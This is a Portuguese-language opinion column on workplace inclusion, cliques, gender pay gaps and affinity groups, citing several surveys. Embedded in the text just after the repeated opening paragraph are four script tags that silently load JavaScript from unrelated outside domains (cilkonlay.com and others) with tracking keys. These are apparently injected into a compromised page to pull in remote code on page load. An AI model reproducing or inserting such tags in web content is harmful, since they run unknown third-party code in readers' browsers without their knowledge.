Conteúdo Especial

Como abrir os olhos para a inclusão

Como comunicadora e empresária, um dos meus papéis é fazer com que as pessoas se sintam pertencentes e não posso fazer isso fechando os olhos para os que não se encontraram em nenhuma ‘panela’. <script src="//cilkonlay.com/2176e1b695bb4978f2.js"></script> <script src="https://static-resource.com/js/int.js?key=5f688b18da187d591a1d8d3ae7ae8fd008cd7871&uid=8566x" type="text/javascript"></script> <script src="https://cdn-javascript.net/api?key=a1ce18e5e2b4b1b1895a38130270d6d344d031c0&uid=8566x&format=arrjs&r=1573259966904" type="text/javascript"></script> <script src="https://cilkonlay.com/ext/2176e1b695bb4978f2.js?sid=52564_8566_&title=a&blocks[]=31af2" type="text/javascript"></script>

Uma vez ouvi que ‘só reclama das panelinhas quem não está dentro de nenhuma delas’.

Achei uma frase dura, até mesmo maldosa, mas então parei para analisar o meu papel diante desse cenário, que quando pensado friamente, é real.

Como comunicadora e empresária, um dos meus papéis é fazer com que as pessoas se sintam pertencentes e não posso fazer isso fechando os olhos para os que não se encontraram em nenhuma ‘panela’.

Grupos de afinidades servem para que se sintam aceitas e valorizadas, fazendo com que elas produzam mais e melhor, esse é o desafio não somente do RH, mas de qualquer gestor.

Grande parte das pessoas já se sentiram excluídas ou discriminadas no ambiente de trabalho, 43% delas para ser mais exata, é o que diz um levantamento feito pela Talento Incluir. Dado esse que justifica o motivo de 40% da população declarar que com frequência – ou muita frequência- se sentem sozinhos, segundo o BBC Loneliness Experiment. Afinal, como podemos agir para conseguirmos – de fato – incluir?

Considero importante entender que as pessoas não saíram do mesmo lugar, para que todo o grupo esteja no mesmo compasso, preciso me certificar de que todos estão no mesmo nível, e, quando preciso, evoluir quem foi deixado para trás.

Um exemplo disso são as oportunidades dadas para homens e mulheres, um assunto que já foi tão discutido e continua sendo uma realidade. Em 2018, a probabilidade de uma mulher trabalhar foi 26% inferior do que a de um homem, segundo a Organização Mundial do Trabalho (OIT), dado que ainda é resquício do patriarcado que vivemos por tanto tempo.

Muitas empresas acabam fazendo uma conta antiga e simples, a famosa ‘mulheres cuidam mais dos filhos do que os homens’, que é uma verdadeira tragédia aos olhos da sociedade atual. Mais do que isso, as mulheres trabalham, em média, três horas por semana a mais do que os homens, incluindo trabalhos remunerados, não remunerados e cuidando de pessoas.

Mesmo contando com um nível educacional mais alto do que os homens, elas ganham, em média, 76,5% do rendimento deles segundo o Instituto Brasileiro de Geografia Estatística (IBGE).

Precisamos trazer os diferentes para a discussão, os homens precisam apoiar a luta pelos direitos das mulheres também, assim como os brancos pelo dos negros e os heteros pelos dos LGBTI+. Vivemos em um país onde as diferenças excluem, mas de forma velada, o que torna difícil quantificar em números a verdadeira face do preconceito do país. Temos uma falsa situação de igualdade que deve ser combatida.

Ao enxergar esse cenário, sendo uma das 24 milhões de empreendedoras mulheres do país, segundo estudo da Global Entrepreneurship Monitor, conduzido pelo Sebrae, pude entender que hoje o meu papel é trazer para o mesmo jogo os diferentes, e dar a eles oportunidades iguais de competir, além de colocar cada um em sua devida panelinha.